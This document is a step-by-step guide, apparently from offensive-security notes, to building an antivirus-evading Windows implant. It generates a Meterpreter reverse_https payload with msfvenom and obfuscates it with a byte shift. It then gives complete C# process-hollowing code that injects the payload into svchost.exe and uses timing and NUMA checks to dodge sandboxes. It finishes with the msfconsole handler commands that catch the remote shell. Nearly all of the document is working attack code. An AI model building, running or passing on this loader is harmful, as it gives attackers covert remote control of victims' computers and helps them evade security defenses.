1. Generate shellcode:
    msfvenom -p windows/x64/meterpreter/reverse_https LHOST=IP LPORT=PORT EXITFUNC=thread -f csharp

  2. Create a new C# Program to obfuscate shell code:
     namespace Helper
     {
         class Program
         {
             static void Main(string[] args)
             {
                 byte[] buf = new byte[752] {}
                        
                 byte[] encoded = new byte[buf.Length];
                 for(int i = 0; i < buf.Length; i++)
                 {
                     encoded[i] = (byte)(((uint)buf[i] + 2) & 0xFF);
                 }
    
                 StringBuilder hex = new StringBuilder(encoded.Length * 2);
                 foreach(byte b in encoded)
                 {
                     hex.AppendFormat("0x{0:x2}, ", b);
                 }
    
                 Console.WriteLine("The payload is: " + hex.ToString());
             }
         }
     }
    
  3. Visual Studio -> create new “Console App (.NET Framework)”. Namespace is the name of project. Full code (change the shellcode with step 2):
     using System;
     using System.Collections.Generic;
     using System.Linq;
     using System.Runtime.InteropServices;
     using System.Text;
     using System.Threading;
    
     namespace HollowEvade
     {
         class Program
         {
             [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
             struct STARTUPINFO
             {
                 public Int32 cb;
                 public IntPtr lpReserved;
                 public IntPtr lpDesktop;
                 public IntPtr lpTitle;
                 public Int32 dwX;
                 public Int32 dwY;
                 public Int32 dwXSize;
                 public Int32 dwYSize;
                 public Int32 dwXCountChars;
                 public Int32 dwYCountChars;
                 public Int32 dwFillAttribute;
                 public Int32 dwFlags;
                 public Int16 wShowWindow;
                 public Int16 cbReserved2;
                 public IntPtr lpReserved2;
                 public IntPtr hStdInput;
                 public IntPtr hStdOutput;
                 public IntPtr hStdError;
             }
    
             [StructLayout(LayoutKind.Sequential)]
             internal struct PROCESS_INFORMATION
             {
                 public IntPtr hProcess;
                 public IntPtr hThread;
                 public int dwProcessId;
                 public int dwThreadId;
             }
    
             [StructLayout(LayoutKind.Sequential)]
             internal struct PROCESS_BASIC_INFORMATION
             {
                 public IntPtr Reserved1;
                 public IntPtr PebAddress;
                 public IntPtr Reserved2;
                 public IntPtr Reserved3;
                 public IntPtr UniquePid;
                 public IntPtr MoreReserved;
             }
    
             [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
             static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,
         IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,
             uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
                 [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
    
             [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
             private static extern int ZwQueryInformationProcess(IntPtr hProcess,
         int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,
             uint ProcInfoLen, ref uint retlen);
    
             [DllImport("kernel32.dll", SetLastError = true)]
             static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
         [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
    
             [DllImport("kernel32.dll")]
             static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
    
             [DllImport("kernel32.dll", SetLastError = true)]
             private static extern uint ResumeThread(IntPtr hThread);
    
             [DllImport("kernel32.dll")]
             static extern void Sleep(uint dwMilliseconds);
    
             [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
             static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress,
         uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
    
             [DllImport("kernel32.dll")]
             static extern IntPtr GetCurrentProcess();
    
             static void Main(string[] args)
             {
                 DateTime t1 = DateTime.Now;
                 Sleep(2000);
                 double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
                 if (t2 < 1.5)
                 {
                     return;
                 }
    
                 IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
                 if (mem == null)
                 {
                     return;
                 }
    
                 STARTUPINFO si = new STARTUPINFO();
                 PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
    
                 bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero,
                     IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi);
    
                 PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
                 uint tmp = 0;
                 IntPtr hProcess = pi.hProcess;
                 ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
    
                 IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);
    
                 byte[] addrBuf = new byte[IntPtr.Size];
                 IntPtr nRead = IntPtr.Zero;
                 ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);
    
                 IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));
                 byte[] data = new byte[0x200];
                 ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead);
    
                 uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C);
    
                 uint opthdr = e_lfanew_offset + 0x28;
    
                 uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr);
    
                 IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);
    
                 byte[] buf = new byte[799] { };
    
                 for (int i = 0; i < buf.Length; i++)
                 {
                     buf[i] = (byte)(((uint)buf[i] - 2) & 0xFF);
                 }
    
                 WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead);
    
                 ResumeThread(pi.hThread);
             }
         }
     }
    
  4. Prepare for the incoming shell:
    msfconsole -q
    use multi/handler
    set payload windows/x64/meterpreter/reverse_https
    set lhost IP
    set lport PORT
    exploit